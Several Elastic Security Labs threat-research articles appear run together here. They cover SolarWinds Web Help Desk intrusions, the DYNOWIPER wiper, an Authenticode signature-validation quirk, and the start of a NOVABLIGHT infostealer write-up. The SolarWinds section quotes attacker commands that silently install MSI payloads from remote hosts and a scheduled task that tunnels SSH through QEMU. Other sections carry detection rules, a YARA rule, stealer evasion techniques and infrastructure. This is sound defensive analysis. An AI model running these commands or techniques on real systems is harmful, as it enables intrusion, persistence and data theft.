• On February 6, 2026, Microsoft reported the exploitation of SolarWinds Web Help Desk (WHD) servers
• The exploitation facilitated multi-stage intrusions leveraging remote monitoring and management software (RMM), credential dumping, and setting up tunnels and RDP for persistent access
• While not yet confirmed, the activity may be associated with one of the following disclosed CVEs: CVE-2025-26399, CVE-2025-40536, and CVE-2025-40551
• Elastic Security Labs does not observe telemetry events related to this activity as of the date of this publication
• Elastic Defend provides comprehensive visibility, along with 5 prebuilt prevention and 11 prebuilt detection capabilities across this reported activity

Background

Multiple intrusions have been publicly reported starting on February 6, 2026 stemming from Internet-connected servers utilizing SolarWinds Web Help Desk software. This exploitation activity reportedly first occurred in December 2025.

Given the number of recent CVEs affecting this product, it’s not yet clear which of several CVEs is directly responsible for these campaigns. Below are the CVEs involved in this reported activity:

• CVE-2025-26399 - SolarWinds Web Help Desk AjaxProxy Deserialization of Untrusted Data Remote Code Execution Vulnerability
• CVE-2025-40536 - SolarWinds Web Help Desk Security Control Bypass Vulnerability
• CVE-2025-40551 - SolarWinds Web Help Desk Deserialization of Untrusted Data Remote Code Execution Vulnerability

Below is a table of the vulnerability descriptions and the impacted product versions:

After exploitation, the threat actors are documented to have abused otherwise legitimate RMM software to gain persistent access to victim environments. Additional reporting noted the use of Velociraptor being abused for post-compromise execution, such as disabling Microsoft Defender and setting up a Cloudflare tunnel.

Once the TAs had gained network access, they configured a scheduled task to start a QEMU virtual system to maintain remote access. Credential dumping activity was also observed, including the use of DCSync and the extraction of the NTDS.dit database from a Windows domain controller.

The following sections detail Elastic Security detection and prevention rules that can detect and mitigate these intrusive activities.

Execution Flow

Initial access

Following the successful exploitation of the SolarWinds Web Help Desk (WHD), the threat actors established an interactive shell. Observations indicate a heavy reliance on "living-off-the-land" (LotL) techniques, where legitimate system utilities and programs such as RMMs are used to perform malicious actions.

The original attack chain happens from the WHD service wrapper (wrapper.exe) spawning java.exe which then spawns the Windows command processor (cmd.exe). An Elastic SIEM rule has been created for the community to detect unusual child process activity from the SolarWinds Web Help Desk application.

any where host.os.type == "windows" and
(
 (event.category == "library" and
  process.executable : ("C:\\Program Files\\WebHelpDesk\\*\\java.exe", "C:\\Program Files (x86)\\WebHelpDesk\\*\\java.exe") and
  (dll.path : "\\Device\\Mup\\*" or dll.code_signature.trusted == false or ?dll.code_signature.exists == false)) or

 (event.category == "process" and process.name : ("cmd.exe", "powershell.exe", "rundll32.exe") and
  process.parent.executable : ("C:\\Program Files\\WebHelpDesk\\*\\java*.exe", "C:\\Program Files (x86)\\WebHelpDesk\\*\\java*.exe"))
)

SIEM Rule - Suspicious SolarWinds Web Help Desk Java Module Load or Child Process

One of the initial attack chains involved installing a remotely-hosted MSI installer from an anonymous file-hosting service called Catbox. The following command-line was observed:

msiexec /q /i hxxps://files.catbox[.]moe/tmp9fc.msi

In order to detect this activity, Elastic has a SIEM prebuilt rule to detect remote installation of MSI files here, and an endpoint behavior protection here.

Suspicious child processes from Java and SolarWinds WHD represent the earliest phase of this attack, which resulted in the installation of an RMM MSI file. This remote monitoring and management utility provides some of the functionality of a conventional backdoor while resembling benign administrative software.

Discovery

After the RMM agent was configured, the threat group moved to hands-on keyboard activity performing reconnaissance and discovery within the network.
They then leveraged the RMM agent tooling to perform discovery within the Windows network executing commands targeting information related to Active Directory. An observed command line is shown below:

net group "domain computers" /do

An existing SIEM rule designed to identify Windows account group discovery detects this reconnaissance technique and is available here.

Evasion

One of the more notable choices used by the threat actor in one campaign was the usage of open-source forensic tool, Velociraptor. While this legitimate tool is traditionally used to collect forensic artifacts from endpoints, the adversaries used it for code execution and file staging. The threat group silently installed Velociraptor using the remote MSI command shown below and a prebuilt Elastic Security rule is available:

msiexec /q /i hxxps://vdfccjpnedujhrzscjtq.supabase[.]co/storage/v1/object/public/image/v4.msi

They followed this up with an installation of the Cloudflare Tunnel client (Cloudflared) with the following command:

msiexec /q /i hxxps://github[.]com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.msi

Echoing trends observed throughout 2025 and described in the Elastic Global Threat Report, adversaries increasingly abuse trusted networks for transport encryption and to take advantage of benign reputation. The remote MSI installation rules discussed earlier in this article also apply in this case; however, installing a legitimate security tool is likely to appear benign to many enterprises. Cisco Talos has previously highlighted this emerging attacker trend involving the use of Velociraptor for post-compromise activity.

Other observations in this intrusion set included the threat actor disabling security controls such as Windows Defender and Window Firewall through registry key modifications. Existing Elastic SIEM and endpoint rules identify these attempts to undermine security settings.

Persistence

In order to maintain continued access, the threat actors set up a Windows scheduled task using the following command-line:

SCHTASKS /CREATE /V1 /RU SYSTEM /SC ONSTART /F /TN "TPMProfiler" /TR        "C:\Users\<user>\tmp\qemu-system-x86_64.exe -m 1G -smp 1 -hda vault.db -        device e1000,netdev=net0 -netdev user,id=net0,hostfwd=tcp::22022-:22"
</user>

This scheduled task named TPMProfiler was configured to execute QEMU, a system-level virtualization and emulation tool. QEMU was then used to establish an SSH connection, facilitating continued access to the compromised system.

Elastic Security published and maintains a SIEM detection rule to detect the creation of this scheduled task.

In order to detect the QEMU tunnelling activity, Elastic Security has this Elastic Defend rule here and an Elastic prebuilt detection rule here.

Credential Access

As part of these attacks, Microsoft also mentioned credential dumping of the Active Directory Domain Database (ntds.dit). Elastic provides multiple detections for this behavior, including the rules referenced here and here.

Recommendations

1. Apply the latest SolarWinds Web Help Desk patches.
2. Rotate all service and administrative credentials that are associated with SolarWinds Web Help Desk.
3. Conduct host-level reviews of any impacted servers and endpoints to identify unauthorized activity.
4. Identify and remove any RMM usage associated with this activity. Review organizational policy and monitoring strategies for RMM tools.

Detecting SolarWinds WHD exploitation

Elastic Security prebuilt detection rules

• Suspicious SolarWinds Web Help Desk Java Module Load or Child Process
• Potential Remote Install via MsiExec
• Remote File Execution via MSIEXEC
• Windows Account or Group Discovery
• Windows Defender Disabled via Registry Modification
• Persistence via Scheduled Job Creation
• NTDS or SAM Database File Copied
• Potential Credential Access via Windows Utilities
• Attempt to Establish VScode Remote Tunnel
• First Time Seen Commonly Abused Remote Access Tool Execution
• Potential Traffic Tunneling using QEMU

Elastic Defend prebuilt prevention rules

• Remote File Execution via MSIEXEC
• Suspicious Windows Defender Registry Modification
• Potential Traffic Tunneling with QEMU
• Connection to WebService by a Signed Binary Proxy
• Attempt to establish VScode Remote Tunnel

References

• https://www.microsoft.com/en-us/security/blog/2026/02/06/active-exploitation-solarwinds-web-help-desk/

MITRE ATT&CK Mapping

• On December 29, 2025, a coordinated campaign of destructive cyberattacks targeted Poland's energy infrastructure, affecting over 30 renewable energy facilities and a major combined heat and power (CHP) plant
• A custom wiper malware dubbed DYNOWIPER was used to irreversibly destroy data across compromised networks
• CERT Polska attributes the attack infrastructure to the threat cluster Cisco refers to as Static Tundra, Crowdstrike refers to as Berserk Bear, Microsoft calls Ghost Blizzard, and Symantec labels as Dragonfly
• Elastic Defend's ransomware protection successfully detects and prevents DYNOWIPER execution using canary file monitoring

Background

The coordinated destructive campaign against critical energy infrastructure occurred on December 29, 2025, during a period of severe winter weather in Poland.

According to CERT Polska’s report, the campaign targeted:

• 30+ wind and solar farms across Poland
• A major CHP plant supplying heat to nearly half a million customers
• A manufacturing sector company characterized as an opportunistic target

Attack Vector

The threat actor reportedly gained initial access through Fortinet FortiGate devices exposed to the internet prior to December 29th, exploiting:

• VPN interfaces allowing authentication without multi-factor authentication
• Reused credentials across multiple facilities
• Historical vulnerabilities in unpatched devices

Attackers conducted months-long reconnaissance of industrial automation systems, specifically targeting SCADA systems and OT networks. During this time, they exfiltrated Active Directory databases, FortiGate configurations, and data related to OT network modernization.

DYNOWIPER Details

Elastic Security Labs independently analyzed a DYNOWIPER sample from open sources. The sample is similar to one of the variants documented by CERT Polska.

Sample Metadata

Destruction Mechanism

Drive Enumeration

The malware enumerates all logical drives (A-Z) using GetLogicalDrives() and targets only DRIVE_FIXED (hard drives) and DRIVE_REMOVABLE (USB drives, SD cards) types.

File Corruption

DYNOWIPER employs a Mersenne Twister PRNG to generate pseudorandom data for file corruption. Rather than overwriting entire files (which requires time), it strategically corrupts files by:

1. Removing file protection attributes via SetFileAttributesW(FILE_ATTRIBUTE_NORMAL)
2. Opening files with CreateFileW for read/write access
3. Overwriting the file header with 16 bytes of random data
4. For larger files, generating up to 4,096 random offsets and overwriting each with 16-byte sequences

This approach allows rapid corruption of many files while ensuring data is unrecoverable.

Directory Exclusion List

The malware deliberately avoids system-critical directories to maintain system stability during the attack:

• windows, system32
• program files, program files(x86)
• boot, appdata, temp
• recycle.bin, $recycle.bin
• perflogs, documents and settings

This design choice maximizes data destruction before the system becomes unstable, ensuring the wiper completes its mission.

Forced Reboot

After corruption and deletion phases complete, DYNOWIPER:

1. Obtains a process token via OpenProcessToken()
2. Enables SeShutdownPrivilege via AdjustTokenPrivileges()
3. Forces system reboot with ExitWindowsEx(EWX_REBOOT | EWX_FORCE)

Notable Characteristics

DYNOWIPER is distinguished by several characteristics:

• No persistence mechanism - The malware does not attempt to survive reboots
• No C2 communication - Completely standalone, no network callbacks
• No shell command invocations - All operations performed via Windows API
• No anti-analysis techniques - No attempts to evade detection or debugging
• Characteristic PDB path: C:\Users\vagrant\Documents\Visual Studio 2013\Projects\Source\Release\Source.pdb

The use of "vagrant" in the PDB path suggests development occurred in a Vagrant-managed virtual machine environment.

Version Differences

CERT Polska documented two DYNOWIPER versions (A and B). The sample we analyzed corresponds to version A. Version B removed the system shutdown functionality and added a 5-second sleep between corruption and deletion phases.

Elastic Defend Protection

During testing of DYNOWIPER samples, Elastic Defend successfully detected and mitigated the malware before it could cause damage.

Detection Alert

{  
  "message": "Ransomware Prevention Alert",  
  "event": {  
    "code": "ransomware",  
    "action": "canary-activity",  
    "type": ["info", "start", "change", "denied"],  
    "category": ["malware", "intrusion_detection", "process", "file"],  
    "outcome": "success"  
  },  
  "Ransomware": {  
    "feature": "canary",  
    "version": "1.9.0"  
  }  
}  

How Canary Protection Works

Elastic Defend's ransomware protection employs canary files (strategically placed decoy files) that trigger alerts when modified. DYNOWIPER's indiscriminate file corruption approach caused it to modify a canary file.

When the wiper attempted to corrupt this canary file, Elastic Defend immediately:

1. Detected the suspicious modification pattern
2. Blocked further execution
3. Generated a high-confidence ransomware alert (risk score: 73)

While Elastic Defend was not the EDR solution used in this incident, this form of defense-in-depth protection was critical in the real-world intrusion. According to CERT Polska, the EDR solution deployed at the CHP plant, using the same canary protection technology highlighted above, halted data overwriting on more than 100 machines where DYNOWIPER had already begun executing.

Why Behavioral Detection is Crucial

Destructive malware can present unique challenges to minimizing risk:

• They may not establish C2 connections (no network indicators)
• They may not use persistence mechanisms (limited forensic artifacts)
• They execute quickly and destructively
• Static signature-based detection may miss new variants

Behavioral protection, such as through canary files, provides a crucial layer of defense that can catch destructive malware regardless of its novelty.

Indicators of Compromise

File Hashes (DYNOWIPER)

Distribution Scripts

Network Indicators

YARA Rule

rule DYNOWIPER {  
    meta: 
        author = "CERT Polska"
        description = "Detects DYNOWIPER data destruction malware"  
        severity = "CRITICAL"  
        reference = "https://mwdb.cert.pl/"  
          
    strings:  
        $a1 = "$recycle.bin" wide  
        $a2 = "program files(x86)" wide  
        $a3 = "perflogs" wide  
        $a4 = "windows\x00" wide  
        $b1 = "Error opening file: " wide  
        $priv = "SeShutdownPrivilege" wide  
        $api1 = "GetLogicalDrives"  
        $api2 = "ExitWindowsEx"  
        $api3 = "AdjustTokenPrivileges"  
          
    condition:  
        uint16(0) == 0x5A4D  
        and filesize < 500KB  
        and 4 of ($a*, $b1)  
        and $priv  
        and 2 of ($api*)  
}  

Recommendations

Immediate Actions

1. Deploy behavioral ransomware protection - Signature-based detection alone is insufficient against novel wipers
2. Enable MFA on all VPN and remote access solutions - The attackers exploited accounts without MFA
3. Audit FortiGate and edge device configurations - Check for unauthorized accounts, rules, and scheduled tasks
4. Review default credentials - Industrial devices (RTUs, HMIs, serial servers) often ship with default passwords

Detection Opportunities

Monitor for:

• GetLogicalDrives API calls followed by mass file operations
• SetFileAttributesW calls setting FILE_ATTRIBUTE_NORMAL at scale
• Privilege escalation for SeShutdownPrivilege followed by ExitWindowsEx
• GPO modifications creating scheduled tasks with SYSTEM privileges
• Unusual file modifications across multiple drives simultaneously

Recovery Considerations

• Restore from offline/air-gapped backups - Online backups may have been targeted
• Verify backup integrity before restoration
• Assume credential compromise - Reset all passwords, especially domain admin accounts
• Audit all removable media that may have been connected to affected systems

Conclusion

The December 2025 attacks on Poland's energy sector represent a significant escalation in destructive cyber operations against critical infrastructure. DYNOWIPER, while not technically sophisticated, proved effective at rapid data destruction when combined with the threat actor's extensive pre-positioned access.

The incident underscores the importance of defense-in-depth strategies, particularly behavioral detection capabilities that can identify destructive malware regardless of its novelty. Elastic Defend's ransomware protection—specifically its canary file monitoring—proved effective at detecting and blocking DYNOWIPER before it could complete its destructive mission.

Organizations in critical infrastructure sectors should review their security posture against the TTPs documented in this report and CERT Polska's comprehensive analysis.

References

• CERT Polska: Energy Sector Incident Report – 29 December

• Cisco Talos: Static Tundra
• FBI IC3: PSA250820

MITRE ATT&CK Mapping

Elastic Security Labs recently encountered a signature validation issue with one of our Windows binaries. The executable was signed using signtool.exe as part of our standard continuous integration (CI) process, but on this occasion, the output file failed signature validation with the following error message:

The digital signature of the object is malformed. For technical detail, see security bulletin MS13-098.

The documentation for MS13-098 is vague, but it describes a potential vulnerability related to malformed Authenticode signatures. Nothing obvious had changed on our end that might explain this new error, so we needed to investigate the cause and resolve the issue.

While we identified that this issue was affecting one of our signed Windows binaries, it could impact any binary. We are publishing this research as a reference for anyone else who may encounter the same problem in the future.

Diagnosis

To investigate further, we created a basic test program that called the Windows WinVerifyTrust function against the problematic executable to manually validate the signature. This revealed that it was failing with the error code TRUST_E_MALFORMED_SIGNATURE.

WinVerifyTrust is a complex function, but after attaching a debugger, we discovered that the error code was being set at the following point:

dwReserved1 = psSipSubjectInfo->dwReserved1;
if(!dwReserved1)
    goto LABEL_58;
v40 = I_GetRelaxedMarkerCheckFlags(a1, v22, (unsigned int *)&pvData);
if(v40 < 0)
    break;
if(!pvData)
    v42 = 0x80096011;    // TRUST_E_MALFORMED_SIGNATURE

As shown above, if psSipSubjectInfo->dwReserved1 is not 0, the code calls I_GetRelaxedMarkerCheckFlags. If this function returns no data, the code sets the TRUST_E_MALFORMED_SIGNATURE error and exits.

When stepping through the code with our problematic binary, we saw that dwReserved1 was indeed set to 1. Running the same test against a correctly signed binary, this value was always 0, which skips the call to I_GetRelaxedMarkerCheckFlags.

Looking into I_GetRelaxedMarkerCheckFlags, we saw that it simply checks for the presence of a specific attribute: 1.3.6.1.4.1.311.2.6.1. A quick online search turned up very little other than the fact that this object identifier (OID) is labeled as SpcRelaxedPEMarkerCheck.

__int64 __fastcall I_GetRelaxedMarkerCheckFlags(struct _CRYPT_PROVIDER_DATA *a1, DWORD a2, unsigned int *a3)
{
    unsigned int v4; // ebx
    CRYPT_PROVIDER_SGNR *ProvSignerFromChain; // rax
    PCRYPT_ATTRIBUTE Attribute; // rax
    signed int LastError; // eax
    DWORD pcbStructInfo; // [rsp+60h] [rbp+18h] BYREF

    pcbStructInfo = 4;
    v4 = 0;
    *a3 = 0;
    ProvSignerFromChain = WTHelperGetProvSignerFromChain(a1, a2, 0, 0);
    if(ProvSignerFromChain)
    {
        Attribute = CertFindAttribute(
            "1.3.6.1.4.1.311.2.6.1",
            ProvSignerFromChain->psSigner->AuthAttrs.cAttr,
            ProvSignerFromChain->psSigner->AuthAttrs.rgAttr);
        if(Attribute)
        {
            if(!CryptDecodeObject(
                a1->dwEncoding,
                (LPCSTR)0x1B,
                Attribute->rgValue->pbData,
                Attribute->rgValue->cbData,
                0,
                a3,
                &pcbStructInfo))
            {
                return HRESULT_FROM_WIN32(GetLastError());
            }
        }
    }

    return v4;
}

Our binary did not have this attribute, which caused the function to return no data and triggered the error. The function names reminded us of an optional parameter that we had previously seen in signtool.exe:

/rmc - Specifies signing a PE file with the relaxed marker check semantic. The flag is ignored for non-PE files. During verification, certain authenticated sections of the signature will bypass invalid PE markers check. This option should only be used after careful consideration and reviewing the details of MSRC case MS12-024 to ensure that no vulnerabilities are introduced.

Based on our analysis, we suspected that re-signing the executable with the “relaxed marker check” flag (/rmc), and as expected, the signature was now valid.

Root cause analysis

While the workaround above resolved our immediate problem, it clearly wasn’t the root cause. We needed to investigate further to understand why the internal dwReserved1 flag was set in the first place.

This field is part of the SIP_SUBJECTINFO structure, which is documented on MSDN - but unfortunately, it didn’t help much in this case:

To find where this field was being set, we worked backwards and identified a point where dwReserved1 was still 0 - i.e., before the flag had been set. We placed a hardware breakpoint (on write) on the dwReserved1 field and resumed execution. The breakpoint was hit in the SIPObjectPE_::GetMessageFromFile function:

__int64 __fastcall SIPObjectPE_::GetMessageFromFile(
    SIPObjectPE_ *this,
    struct SIP_SUBJECTINFO_ *a2,
    struct _WIN_CERTIFICATE *a3,
    unsigned int a4,
    unsigned int *a5)
{
    __int64 v5; // rcx
    __int64 result; // rax
    DWORD v8; // [rsp+40h] [rbp+8h] BYREF

    v5 = *((_QWORD*)this + 1);
    v8 = 0;
    result = ImageGetCertificateDataEx(v5, a4, a3, a5, &v8);
    if((_DWORD)result)
        a2->dwReserved1 = v8;

    return result;
}

This function calls the ImageGetCertificateDataEx API which is exported by imagehlp.dll. The value returned by the fifth parameter of this function is stored in dwReserved1. This value ultimately determines whether the PE is considered "malformed" in the manner we have been observing.

Unfortunately, ImageGetCertificateDataEx is undocumented on MSDN. However, an earlier variant, ImageGetCertificateData, is documented:

BOOL IMAGEAPI ImageGetCertificateData(
  [in]      HANDLE            FileHandle,
  [in]      DWORD             CertificateIndex,
  [out]     LPWIN_CERTIFICATE Certificate,
  [in, out] PDWORD            RequiredLength
);

This function extracts the contents of the IMAGE_DIRECTORY_ENTRY_SECURITY directory from the PE headers. Manual analysis of the ImageGetCertificateDataEx function showed that the first four parameters match those of ImageGetCertificateData, but with one additional output parameter at the end.

We wrote a simple test program that allows us to call this function and perform checks against the unknown fifth parameter:

#include <stdio.h>
#include <windows.h>
#include <imagehlp.h>

int main()
{
    HANDLE hFile = NULL;
    DWORD dwCertLength = 0;
    WIN_CERTIFICATE *pCertData = NULL;
    DWORD dwUnknown = 0;
    BOOL (WINAPI *pImageGetCertificateDataEx)(HANDLE FileHandle, DWORD CertificateIndex, LPWIN_CERTIFICATE Certificate, PDWORD RequiredLength, DWORD *pdwUnknown);

    // open target executable
    hFile = CreateFileA("C:\\users\\matthew\\sample-executable.exe", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    if(hFile == INVALID_HANDLE_VALUE)
    {
        printf("Failed to open input file\n");
        return 1;
    }

    // locate ImageGetCertificateDataEx export in imagehlp.dll
    pImageGetCertificateDataEx = (BOOL(WINAPI*)(HANDLE,DWORD,LPWIN_CERTIFICATE,PDWORD,DWORD*))GetProcAddress(LoadLibraryA("imagehlp.dll"), "ImageGetCertificateDataEx");
    if(pImageGetCertificateDataEx == NULL)
    {
        printf("Failed to locate ImageGetCertificateDataEx\n");
        return 1;
    }

    // get required length
    dwCertLength = 0;
    if(pImageGetCertificateDataEx(hFile, 0, NULL, &dwCertLength, &dwUnknown) == 0)
    {
        if(GetLastError() != ERROR_INSUFFICIENT_BUFFER)
        {
            printf("ImageGetCertificateDataEx error (1)\n");
            return 1;
        }
    }

    // allocate data
    printf("Allocating %u bytes for certificate...\n", dwCertLength);
    pCertData = (WIN_CERTIFICATE*)malloc(dwCertLength);
    if(pCertData == NULL)
    {
        printf("Failed to allocate memory\n");
        return 1;
    }

    // read certificate data and dwUnknown flag
    if(pImageGetCertificateDataEx(hFile, 0, pCertData, &dwCertLength, &dwUnknown) == 0)
    {
        printf("ImageGetCertificateDataEx error (2)\n");
        return 1;
    }

    printf("Finished - dwUnknown: %u\n", dwUnknown);

    return 0;
}

Running this against a variety of executables confirmed our expectations: the unknown return value was 1 for our “broken” executable, and 0 for correctly signed binaries. This confirmed that the issue originated somewhere within the ImageGetCertificateDataEx function.

Further analysis of this function revealed that the unknown flag is being set by another internal function: IsBufferCleanOfInvalidMarkers.

...
if(!IsBufferCleanOfInvalidMarkers(v25, v15, pdwUnknown))
{
    LastError = GetLastError();
    if(!pdwUnknown)
        goto LABEL_34;
}
...

After cleaning up the IsBufferCleanOfInvalidMarkers function, we observed the following:

DWORD IsBufferCleanOfInvalidMarkers(BYTE *pData, DWORD dwLength, DWORD *pdwInvalidMarkerFound)
{
    if(!_InterlockedCompareExchange64(&global_InvalidMarkerList, 0, 0))
        LoadInvalidMarkers();

    if(!RabinKarpFindPatternInBuffer(pData, dwLength, pdwInvalidMarkerFound))
        return 1;

    SetLastError(0x80096011); // TRUST_E_MALFORMED_SIGNATURE

    return 0;
}

This function loads a global list of "invalid markers" using LoadInvalidMarkers, if they are not already loaded. imagehlp.dll contains a hardcoded default list of markers, but also checks the registry for a user-defined list at the following path:

HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Wintrust\Config\PECertInvalidMarkers

This registry value does not appear to exist by default.

The function then performs a search across the entire PE signature data, looking for any of these markers. If a match is found, pdwInvalidMarkerFound is set to 1, which maps directly to the psSipSubjectInfo->dwReserved1 value mentioned earlier.

Dumping the invalid markers

The markers are stored in an undocumented structure inside imagehlp.dll. After reverse-engineering the RabinKarpFindPatternInBuffer function noted above, we wrote a small tool to dump the entire list of markers:

#include <stdio.h>
#include <windows.h>

int main()
{
    HMODULE hModule = LoadLibraryA("imagehlp.dll");

    // hardcoded address - imagehlp.dll version:
    // 509ef25f9bac59ebf1c19ec141cb882e5c1a8cb61ac74a10a9f2bd43ed1f0585
    BYTE *pInvalidMarkerData = (BYTE*)hModule + 0xC4D8;

    BYTE *pEntryList = (BYTE*)*(DWORD64*)(pInvalidMarkerData + 20);
    DWORD dwEntryCount = *(DWORD*)pInvalidMarkerData;
    for(DWORD i = 0; i < dwEntryCount; i++)
    {
        BYTE *pCurrEntry = pEntryList + (i * 18);
        BYTE bLength = *(BYTE*)(pCurrEntry + 9);
        BYTE *pString = (BYTE*)*(DWORD64*)(pCurrEntry + 10);
        for(DWORD ii = 0; ii < bLength; ii++)
        {
            if(isprint(pString[ii]))
            {
                // printable character
                printf("%c", pString[ii]);
            }
            else
            {
                // non-printable character
                printf("\\x%02X", pString[ii]);
            }
        }
        printf("\n");
    }

    return 0;
}

This produced the following results:

PK\x01\x02
PK\x05\x06
PK\x03\x04
PK\x07\x08
Rar!\x1A\x07\x00
z\xBC\xAF'\x1C
**ACE**
!<arch>\x0A
MSCF\x00\x00\x00\x00
\xEF\xBE\xAD\xDENull
Initializing Wise Installation Wizard
zlb\x1A
KGB_arch
KGB2\x00
KGB2\x01
ENC\x00
disk%i.pak
>-\x1C\x0BxV4\x12
ISc(
Smart Install Maker
\xAE\x01NanoZip
;!@Install@
EGGA
ArC\x01
StuffIt!
-sqx-
PK\x09\x0A
"\x0B\x01\x0B
-lh0-
-lh1-
-lh2-
-lh3-
-lh4-
-lh5-
-lh6-
-lh7-
-lh8-
-lh9-
-lha-
-lhb-
-lhc-
-lhd-
-lhe-
-lzs-
-lz2-
-lz3-
-lz4-
-lz5-
-lz7-
-lz8-
<#$@@$#>

As expected, this appears to be a list of magic values pertaining to old installers and compressed archive formats. This aligns with the description of MS13-098, which hints towards certain installers being affected.

We suspected this was related to self-extracting executables. If an executable reads itself from disk and scans its own data for an embedded archive (e.g., a ZIP file), an attacker could potentially append malicious data to the signature section without invalidating the signature - since signature data cannot hash itself. This could potentially cause the vulnerable executable to locate the malicious data before the original data, especially if it scans backwards from the end of the file.

We later found an old RECon talk from 2012 by Igor Glücksmann, which describes this exact scenario and appears to confirm our hypothesis.

Microsoft's fix involved scanning the PE signature block for known byte patterns that could indicate this type of abuse.

Investigating the false positive

Upon further debugging, we discovered that the binary was being flagged due to the signature data containing the EGGA marker from the list above:

In the context of the list of markers above, the EGGA signature appears to relate to a specific header value used by an archive format called ALZip. Our code does not make any use of this file format.

Microsoft’s heuristic treated the presence of EGGA as evidence that malicious archive data had been embedded in the PE signature. In practice, nothing of the sort was present. The signature block itself happened to include those four bytes as part of the hashed data.

Collisions like this are unusual, but page hashing (/ph) made it more likely. By expanding the size of the signature block, page hashing increases the surface area for coincidental matches and increases the likelihood of triggering the heuristic.

The binary didn’t contain any self-extracting routines, so the hit on EGGA was a false positive. In that context, the warning had no bearing on the file’s integrity. This meant it was safe to re-sign the file with /rmc to restore the expected validation.

Conclusion

It is well known that additional data can be embedded in a PE file without breaking its signature by appending it to the security block. Even some legitimate software products take advantage of this to embed user-specific metadata into signed executables. However, we were not aware that Microsoft had implemented heuristics to detect specific malicious cases of this, even though they were introduced back in 2012.

The original error message was very vague, and we were unable to find any documentation or references online that helped explain the behavior. Even searching for the associated registry value after discovering it (PECertInvalidMarkers) yielded zero results.

What we uncovered is that Microsoft added heuristic scanning of signature blocks more than a decade ago to counter specific abuse cases. Those heuristics reside in a hardcoded list of “invalid markers,” many of which are tied to outdated installers and archive formats. Our binary happened to collide with one of those markers when signed with page hashing enabled, creating a validation failure with no clear documentation and no public references to the underlying registry key or detection logic.

The absence of online discussions regarding this failure mode, aside from a single unresolved Visual Studio Developer Community post from 2018, made the initial diagnosis difficult. By publishing this analysis, we want to provide a technical reference point for others who may encounter the same problem. In our case, resolving the issue required deep troubleshooting that few outside this space would normally need to exercise. For teams automating code signing, the key lesson is to integrate signature validation checks early and be aware that heuristic marker detection can lead to edge-case failures.

Additional references

The author can be found on X at @x86matthew.

NOVABLIGHT is a NodeJS-based Malware-as-a-Service (MaaS) information stealer developed and sold by a threat group that demonstrates French-language proficiency. This is apparent in their discussions and operational communications on their primary sales and support platforms, Telegram and Discord.

Based on our analysis of the latest released version of NOVABLIGHT, the following code snippet suggests that the Sordeal Group, the group behind Nova Sentinel and MALICORD, is responsible for NOVABLIGHT as well.

Key takeaways

• NOVABLIGHT is an infostealer described as an educational tool, though Telegram channel messages reveal sensitive information and unredacted screenshots.
• NOVABLIGHT licenses are valid for up to one year, and binaries can be generated via Telegram or Discord.
• Heavily obfuscated code with many capabilities.

Discovery

Elastic Security Labs identified multiple campaigns leveraging fake video game installer downloads as an initial access lure for MaaS infections of internet users. In one example, the URL http://gonefishe[.]com prompted the user to download a binary and install a French-language version of a game with a name and description comparable to one recently released on Steam.

Distribution, monetization, and community

The group advertised and sold their product on various online platforms, previously Sellix and Sellpass and currently Billgang.

The group sells an API key, which expires between 1 and 12 months. This key can then be used to build an instance of NOVABLIGHT through a Telegram bot or through Discord.

The group promotes a referral program on their Discord channel with API keys as rewards.

Users get access to a dashboard hosted by the group that presents the information collected from victims. The following domains were identified, though others may exist:

• api.nova-blight[.]top
• shadow.nova-blight[.]top
• nova-blight[.]site
• nova-blight[.]xyz
• bamboulacity.nova-blight[.]xyz

Some of the images used in the dashboard panel are hosted in GitHub repositories associated with different accounts, which helped expose more details about the group.

The GitHub account KSCHcuck1 is a pseudonym similar to that of the previous author of MALICORD, a free version of the earliest version of the stealer that was hosted on GitHub under the account KSCH-58 (WEB ARCHIVE LINK). The X account @KSCH_dsc also possessed similarities, and was actively advertising their "best stealer ever released" as recently as 2023.

The following GitHub accounts have been identified in relation to the group:

• https://github.com/KSCHcuck1
• https://github.com/CrackedProgramer412/caca
• https://github.com/MYnva
• https://github.com/404log (dead)

Their public Telegram channel hosts tutorials and a community of users. In the following image capture, users are sharing screenshots of the build process.

Users of the infostealer are openly sharing images of luxury items and money transfers, which is notable because NOVABLIGHT is described as being solely for educational purposes.

NOVABLIGHT analysis

NOVABLIGHT is a modular and feature-rich information stealer built on NodeJS with the Electron framework. Its capabilities go beyond simple credential theft, incorporating methods for data collection and exfiltration, sandbox detection, and heavy obfuscation.

A notable aspect of the malware's build process is its modular configuration. Although a customer can choose to disable specific features, the underlying code for those functions remains within the final payload; it is dormant and won’t be executed based on the build's configuration flags.

Code snippets in this report are from a non-obfuscated version 2.0 sample, when implementation details match version 2.2 samples, or from our manually de-obfuscated code of a version 2.2 sample when they differ.

Code structure

From initial setup to data theft, the infostealer is organized into a clear, multi-stage pipeline managed by high-level "flow" controllers. The primary stages are:

• flow/init: Pre-flight checks (running instances, admin privileges, internet connectivity), anti-analysis checks, system info enumeration, establish persistence, etc.
• flow/injecting: Application injection and patching (Atomic, Mullvad, Discord, …)
• flow/grabb: Data harvesting
• flow/ClipBoard: Clipboard hijacking
• flow/sending: Data exfiltration
• flow/disable: System sabotage (disable Windows Defender, system anti-reset, broken Internet connectivity, …)
• flow/cleaning: Post-exfiltration cleanup

For more insights into the code structure, check out this GitHub Gist, which lists the direct dependencies for each of NOVABLIGHT’s core modules and execution flows.

Anti-debug and sandbox detection

NOVABLIGHT incorporates multiple techniques to detect and evade analysis environments, combining environment fingerprinting with active countermeasures. These checks include:

• Detecting VM-related GPU names (vmware, virtualbox, qemu)
• Checking for blacklisted usernames (sandbox, test, malware)
• Identifying VM-specific driver files (balloon.sys, qemu-ga)
• Checking for low screen resolution and lack of USB devices
• Querying GitHub for blacklists of IPs, HWIDs, usernames, programs, organizations, GPU names, PC names, and Operating Systems
• Actively killing known analysis and debugging tools found in a remote list

The blacklists are hosted on GitHub:

• https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_ips.json
• https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_progr.json
• https://raw.githubusercontent.com/Mynva/sub/refs/heads/main/json/blockedorg.json
• https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_GPUTYPE.json
• https://raw.githubusercontent.com/Mynva/sub/main/json/nope.json
• https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_hwid.json
• https://raw.githubusercontent.com/Mynva/sub/main/json/blockedpcname.json
